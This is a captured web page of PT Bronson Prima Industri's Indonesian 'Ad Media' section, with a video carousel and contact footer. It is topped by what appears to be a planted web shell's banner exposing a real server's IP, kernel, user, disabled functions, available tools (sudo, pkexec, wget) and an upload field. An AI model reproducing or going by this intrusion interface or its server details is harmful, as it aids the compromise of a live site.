| Server IP : 103.175.220.74 / Your IP : 216.73.216.151 Web Server : nginx/1.18.0 System : Linux p-floo-wj1-db 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64 User : deploy ( 1003) PHP Version : 7.4.3-4ubuntu2.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /var/www/app/bronsoncandy.com/build_production/ad-media/ |
Upload File : |
<!DOCTYPE html>
<html data-theme="light" lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<link rel="canonical" href="/ad-media">
<meta name="description" content="Bronson dikenal sebagai salah satu perusahaan lokal terkemuka yang memproduksi dan mendistribusikan makanan dan minuman dengan fokus di bidang kembang gula dan cokelat.">
<title>PT Bronson Prima Industri</title>
<link rel="stylesheet" href="/assets/build/css/main.css?id=159bf549d6978a4589f7c4e3dce50966">
<link rel="stylesheet" href="/assets/build/css/font.css">
<link rel="stylesheet" href="/assets/build/css/style.css">
<link rel="icon" href="/assets/img/logo-36x36.png" sizes="16x16 32x32" type="image/png">
<script defer src="/assets/build/js/main.js?id=2f836786f79f4c701101ba20385775d4"></script>
<script src="https://cdn.tailwindcss.com"></script>
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/@splidejs/splide@latest/dist/css/splide.min.css">
<link href="https://cdn.jsdelivr.net/npm/@splidejs/splide-extension-video/dist/css/splide-extension-video.min.css"
rel="stylesheet">
</head>
<body class="overflow-x-hidden 4k:flex 4k:flex-col 4k:items-center">
<div class="sticky top-3 z-[10] flex justify-center">
<nav id="navbar"
class="h-12 w-[90%] md:w-[75%] lg:w-[80%] md:h-[100px] flex justify-center bg-white rounded-lg shadow-lg">
<div class="container mx-auto px-4 flex items-center justify-between">
<!-- Logo -->
<div class="flex items-center">
<a href="/">
<img class="h-auto w-[20%] md:w-[132.24px]" src="/assets/img/logo-broson.png"
alt="Logo">
</a>
</div>
<div class="flex">
<!-- Links - Hidden on Mobile -->
<div id="desktop-menu" class="hidden lg:flex">
<a href="/" id="beranda"
class="menu-item flex items-center h-[100px] hover:text-white py-[40px] px-[30px] lg:px-[20px] xl:px-[40px] hover:bg-[#FF0000] text-sm font-medium">
Beranda
</a>
<a href="/perusahaan" id="perusahaan"
class="menu-item flex items-center h-[100px] hover:text-white py-[40px] px-[30px] lg:px-[20px] xl:px-[40px] hover:bg-[#FF0000] text-sm font-medium">
Perusahaan
</a>
<a href="/brand" id="brand"
class="menu-item flex items-center h-[100px] hover:text-white py-[40px] px-[30px] lg:px-[20px] xl:px-[40px] hover:bg-[#FF0000] text-sm font-medium">
Brand
</a>
<a href="/ad-media" id="ad-media"
class="menu-item flex items-center h-[100px] hover:text-white py-[40px] px-[30px] lg:px-[20px] xl:px-[40px] hover:bg-[#FF0000] text-sm font-medium">
Ad Media
</a>
<a href="/karir" id="karir"
class="menu-item flex items-center h-[100px] hover:text-white py-[40px] px-[30px] lg:px-[20px] xl:px-[40px] hover:bg-[#FF0000] text-sm font-medium">
Karir
</a>
<a href="/kontak" id="kontak"
class="menu-item flex items-center h-[100px] hover:text-white py-[40px] px-[30px] lg:px-[20px] xl:px-[40px] hover:bg-[#FF0000] text-sm font-medium">
Kontak
</a>
</div>
<!-- Icons -->
<div class="hidden lg:flex items-center space-x-4 relative">
<input placeholder="cari produk" id="input-search"
class="bg-gray-200 hidden absolute -left-36 z-[1] py-1 px-1 rounded-md" type="text">
<button id="search" class="z-[2]">
<img class="w-[19px] h-auto"
src="https://img.icons8.com/?size=100&id=84039&format=png&color=000000" alt="">
</button>
<a class="border-[0.5px] border-gray-400" href="/">
<img class="w-[25px] h-auto" src="/assets/img/indonesia.jpg" alt="ID">
</a>
<a class="border-[0.5px] border-gray-400" href="/en">
<img class="w-[25px] h-auto" src="/assets/img/inggris.jpg" alt="EN">
</a>
</div>
<!-- Hamburger Menu - Visible on Mobile -->
<div class="lg:hidden flex items-center w-auto">
<button id="menu-btn" class="focus:outline-none mr-2 z-[3]">
<div id="open" class="">
<svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24"
stroke-width="1.5" stroke="currentColor" class="size-6">
<path stroke-linecap="round" stroke-linejoin="round"
d="M3.75 6.75h16.5M3.75 12h16.5m-16.5 5.25h16.5" />
</svg>
</div>
<div id="close" class="hidden">
<svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24"
stroke-width="1.5" stroke="currentColor" class="size-6">
<path stroke-linecap="round" stroke-linejoin="round" d="M6 18 18 6M6 6l12 12" />
</svg>
</div>
</button>
<div id="dropdown" class="relative bg-white w-8 h-6">
<div id="dropdownToggle" role="button" class="m-1 cursor-pointer">
<img class="w-[25px] h-auto" src="/assets/img/indonesia.jpg" alt="ID">
</div>
<ul id="dropdownMenu" class="absolute bg-white w-full z-[1] p-1 shadow hidden">
<li>
<a href="/en" class="flex items-center">
<img class="w-[50px] h-auto" src="/assets/img/inggris.jpg"
alt="EN">
</a>
</li>
</ul>
</div>
</div>
</div>
<!-- Mobile Menu - Initially Hidden -->
<div id="mobile-menu"
class="lg:hidden bg-fixed fixed inset-0 bg-white/70 hidden justify-center items-center h-screen w-screen">
<div class="flex flex-col justify-center items-center flex-1">
<a href="/"
class="block px-4 py-2 hover:bg-red-600 hover:text-white rounded-md text-base font-medium">Beranda</a>
<a href="/perusahaan"
class="block px-4 py-2 hover:bg-red-600 hover:text-white rounded-md text-base font-medium">Perusahaan</a>
<a href="/brand"
class="block px-4 py-2 hover:bg-red-600 hover:text-white rounded-md text-base font-medium">Brand</a>
<a href="/ad-media"
class="block px-4 py-2 hover:bg-red-600 hover:text-white rounded-md text-base font-medium">Ad
Media</a>
<a href="/karir"
class="block px-4 py-2 hover:bg-red-600 hover:text-white rounded-md text-base font-medium">Karir</a>
<a href="/kontak"
class="block px-4 py-2 hover:bg-red-600 hover:text-white rounded-md text-base font-medium">Kontak</a>
</div>
</div>
</div>
</nav>
</div>
<div class="">
<div class="-mt-12 md:-mt-[103px]">
<img class="relative z-[2]" src="/assets/img/benner-header-admedia.png" alt="">
</div>
<div class="mx-[12%]">
<h1 class="text-[30px] md:text-[60px] lg:text-[70px] text-center text-[#62408F] font-medium mb-[30px]">Video Commercial</h1>
<!-- Carousel Container -->
<div id="main-slider" class="splide mb-[2rem]">
<div class="splide__track">
<ul class="splide__list">
<li class="splide__slide" data-splide-youtube="https://www.youtube.com/watch?v=xyPm8ONe1Cg">
<img src="https://img.youtube.com/vi/xyPm8ONe1Cg/maxresdefault.jpg" alt="Thumbnail 1">
</li>
<li class="splide__slide" data-splide-youtube="https://www.youtube.com/watch?v=y_qdsdzTb8k">
<img src="https://img.youtube.com/vi/y_qdsdzTb8k/sddefault.jpg" alt="Thumbnail 2">
</li>
<li class="splide__slide" data-splide-youtube="https://www.youtube.com/watch?v=zdi7Q3GXA_o">
<img src="https://img.youtube.com/vi/zdi7Q3GXA_o/maxresdefault.jpg" alt="Thumbnail 3">
</li>
<li class="splide__slide" data-splide-youtube="https://www.youtube.com/watch?v=W9KpbxOUYm0">
<img src="https://img.youtube.com/vi/W9KpbxOUYm0/maxresdefault.jpg" alt="Thumbnail 4">
</li>
<li class="splide__slide" data-splide-youtube="https://www.youtube.com/watch?v=5KVlf_HTyrk">
<img src="https://img.youtube.com/vi/5KVlf_HTyrk/maxresdefault.jpg" alt="Thumbnail 5">
</li>
<li class="splide__slide" data-splide-youtube="https://www.youtube.com/watch?v=FBDGF35DEXU">
<img src="https://img.youtube.com/vi/FBDGF35DEXU/sddefault.jpg" alt="Thumbnail 6">
</li>
<li class="splide__slide" data-splide-youtube="https://www.youtube.com/watch?v=CQS8wWvDa9o">
<img src="https://img.youtube.com/vi/CQS8wWvDa9o/sddefault.jpg" alt="Thumbnail 7">
</li>
<li class="splide__slide" data-splide-youtube="https://www.youtube.com/watch?v=sAuYOZvJe1Y">
<img src="https://img.youtube.com/vi/sAuYOZvJe1Y/sddefault.jpg" alt="Thumbnail 8">
</li>
<li class="splide__slide" data-splide-youtube="https://www.youtube.com/watch?v=bg5Iw2gZ6P8">
<img src="https://img.youtube.com/vi/bg5Iw2gZ6P8/sddefault.jpg" alt="Thumbnail 9">
</li>
</ul>
</div>
</div>
<!-- Thumbnail Slider -->
<div id="thumbnail-slider" class="splide mt-3 md:mt-3 lg:mt-2 mb-[10rem]">
<div class="splide__track">
<ul class="splide__list">
<li class="splide__slide"><img src="https://img.youtube.com/vi/xyPm8ONe1Cg/maxresdefault.jpg" alt="Thumbnail 1"></li>
<li class="splide__slide"><img src="https://img.youtube.com/vi/y_qdsdzTb8k/sddefault.jpg" alt="Thumbnail 2"></li>
<li class="splide__slide"><img src="https://img.youtube.com/vi/zdi7Q3GXA_o/maxresdefault.jpg" alt="Thumbnail 3"></li>
<li class="splide__slide"><img src="https://img.youtube.com/vi/W9KpbxOUYm0/maxresdefault.jpg" alt="Thumbnail 4"></li>
<li class="splide__slide"><img src="https://img.youtube.com/vi/5KVlf_HTyrk/maxresdefault.jpg" alt="Thumbnail 5"></li>
<li class="splide__slide"><img src="https://img.youtube.com/vi/FBDGF35DEXU/sddefault.jpg" alt="Thumbnail 6"></li>
<li class="splide__slide"><img src="https://img.youtube.com/vi/CQS8wWvDa9o/sddefault.jpg" alt="Thumbnail 7"></li>
<li class="splide__slide"><img src="https://img.youtube.com/vi/sAuYOZvJe1Y/sddefault.jpg" alt="Thumbnail 8"></li>
<li class="splide__slide"><img src="https://img.youtube.com/vi/bg5Iw2gZ6P8/sddefault.jpg" alt="Thumbnail 9"></li>
</ul>
</div>
</div>
<script>
document.addEventListener('DOMContentLoaded', function() {
var main = new Splide('#main-slider', {
type: 'loop',
pagination: false,
arrows: true,
cover: true,
autoHeight: true,
heightRatio: 0.5,
classes: {
prev: 'splide__arrow--prev custom__splide__arrow--prev',
next: 'splide__arrow--next custom__splide__arrow--next',
},
});
var thumbnails = new Splide('#thumbnail-slider', {
type: 'loop',
rewind: true,
perPage: 4,
heightRatio: 0.13,
gap: '35px',
isNavigation: false,
focus: 'center',
pagination: false,
cover: true,
classes: {
prev: 'splide__arrow--prev hidden',
next: 'splide__arrow--next hidden',
}
});
main.sync(thumbnails);
main.mount(window.splide.Extensions);
thumbnails.mount();
});
</script>
</div>
</div>
<div>
<div class="relative bg-no-repeat z-[3] text-white bg-top flexs justify-center items-center"
style="background-image: url(/assets/img/footer.png)">
<div class="px-[12%] pt-[5%] h-[630px]">
<div class="w-full text-center p-2 md:mb-16">
<h1 class="text-2xl lg:text-[40px] md:mt-12 font-medium">Lebih dekat dengan kami</h1>
</div>
<div class="grid grid-cols-1 row-span-2 md:grid-cols-2 text-center md:text-start">
<div class="basis-[70%]">
<h1 class="text-sm lg:text-[20px] py-4">Temukan detail kontak kantor pusat kami, brand kami dan perusahaan operasi</h1>
<div class="flex justify-items-center justify-center gap-2 mb-3 md:hidden">
<a href="" class="flex justify-center items-center">
<img class="w-[30px] h-auto"
src="https://img.icons8.com/?size=100&id=118490&format=png&color=ffffff"
alt="">
</a>
<a href="" class="flex justify-center items-center">
<img class="w-[30px] h-auto"
src="https://img.icons8.com/?size=100&id=32292&format=png&color=ffffff"
alt="">
</a>
<a href="" class="flex justify-center items-center">
<img class="w-[30px] h-auto"
src="https://img.icons8.com/?size=100&id=60014&format=png&color=ffffff"
alt="">
</a>
<a href="" class="flex justify-center items-center">
<img class="w-[30px] h-auto"
src="https://img.icons8.com/?size=100&id=62852&format=png&color=ffffff"
alt="">
</a>
</div>
<p class="text-[15px] font-bold pb-3">Head Office</p>
<p class="text-[15px] pb-3">Jl. Tenaga 8, Blimbing Malang 65125, Jawa Timur – Indonesia</p>
<p class="text-[15px] pb-3">E. info@bronson.co.id</p>
<p class="text-[15px] pb-3">T. +62 – (0)341 – 491917</p>
<p class="text-[15px] pb-3">F. +62 – (0)341 – 491408</p>
</div>
<div class="md:basis-[30%] flex flex-col items-end justify-items-center md:justify-items-end">
<div class="md:flex justify-items-center justify-end items-end gap-2 py-4 hidden w-[35%]">
<a href="https://www.facebook.com/bronson.prima.3?_rdc=2&_rdr"
class="flex justify-center items-center">
<img class="w-[100%] h-auto"
src="https://img.icons8.com/?size=100&id=118490&format=png&color=ffffff"
alt="">
</a>
<a href="https://www.instagram.com/bronsonprima/"
class="flex justify-center items-center">
<img class="w-[100%] h-auto"
src="https://img.icons8.com/?size=100&id=32292&format=png&color=ffffff"
alt="">
</a>
<a href="https://x.com/Bronsoncandy" class="flex justify-center items-center">
<img class="w-[100%] h-auto"
src="https://img.icons8.com/?size=100&id=60014&format=png&color=ffffff"
alt="">
</a>
<a href="https://www.youtube.com/@bronsonprimaindustri"
class="flex justify-center items-center">
<img class="w-[100%] h-auto"
src="https://img.icons8.com/?size=100&id=62852&format=png&color=ffffff"
alt="">
</a>
</div>
<div class="hidden md:flex justify-center items-end md:h-[150px] text-sm">
<p>©2025 PT. BRONSON PRIMA INDUSTRI</p>
</div>
</div>
<p class="md:hidden text-sm">©2025 PT. BRONSON PRIMA INDUSTRI</p>
</div>
</div>
</div>
</div>
<button id="scroll-to-top" onclick="scrollToTop()"
class="scroll-to-top fixed bottom-4 right-4 z-[3] bg-[#046bd2] p-2">
<svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5"
stroke="white" class="size-6">
<path stroke-linecap="round" stroke-linejoin="round" d="m4.5 15.75 7.5-7.5 7.5 7.5" />
</svg>
</button>
<script src="https://cdn.jsdelivr.net/npm/@splidejs/splide@latest/dist/js/splide.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/@splidejs/splide-extension-video/dist/js/splide-extension-video.min.js">
</script>
<script src="/assets/build/js/script.js"></script>
</body>
</html>